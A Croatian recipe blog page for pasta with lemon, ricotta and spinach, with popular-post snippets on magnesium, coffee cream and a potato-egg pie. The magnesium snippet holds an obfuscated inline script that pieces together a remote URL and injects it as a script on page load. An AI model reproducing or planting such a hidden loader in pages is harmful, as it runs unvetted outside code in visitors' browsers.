TJESTENINA S LIMUNOM, RICOTTOM I ŠPINATOM 🍋


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>Tjestenina s limunom, ricottom i špinatom



Tjestenina s limunom, ricottom i špinatom 



Ako tražite recept za brz, lagan i obrok s mirisom Mediterana, ova tjestenina s limunom, ricottom i špinatom pravi je izbor. Kremasta ricotta, svježina limuna i blagi okus špinata savršeno se spajaju u ovome jelu jelu koje može biti zasitno glavno jelo bez mesa ili elegantan prilog.





Tjestenina s limunom, ricottom i špinatom 


Sastojci:

  • 450 g tjestenine
  • 250 g ricotta sira
  • 120 ml maslinovog ulja
  • 50 g svježe naribanog parmezana, plus dodatno za posluživanje
  • 2 limuna (korica i sok)
  • 1 čajna žličica soli, ili po ukusu
  • 1 čajna žličica mješavine talijanskih začina
  • 1/2 čajne žličice češnjaka u prahu
  • 1/2 čajne žličice svježe mljevenog crnog papra
  • prstohvat mljevene sušene čili papričice
  • 60 g mladog špinata
  • mala šaka listova bosiljka, vrlo tanko narezanih, po ukusu
  • 1 čajna žličica svježeg timijana, po ukusu
  • kriške limuna za posluživanje



Priprema:

  1. U velikom loncu zakuhajte posoljenu vodu. Dodajte tjesteninu i kuhajte dok ne bude al dente. Sačuvajte oko 480 ml vode od kuhanja tjestenine, zatim ocijedite tjesteninu i vratite je u lonac.
  2. U srednje velikoj zdjeli pomiješajte ricottu, maslinovo ulje, parmezan, sok od limuna i naribanu koricu limuna. Začinite talijanskim začinima, češnjakom u prahu, solju, crnim paprom i prstohvatom čili papričice.
  3. Dodajte smjesu s ricottom u tjesteninu zajedno s oko 60 ml sačuvane vode od kuhanja. Dobro promiješajte dok se ne stvori kremasti umak koji se lijepo veže uz tjesteninu. Po potrebi dodajte još malo vode od kuhanja ako je umak pregust.
  4. Špinat stavite u cjedilo i prelijte ga preostalom vrućom vodom od kuhanja tjestenine kako bi lagano uvenuo. Odmah ga dodajte u lonac s tjesteninom i lagano promiješajte.
  5. Podijelite tjesteninu u tanjure i po želji pospite dodatnim parmezanom, bosiljkom i timijanom. Ukrasite kriškom limuna i pokapajte s malo maslinovog ulja prije posluživanja.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više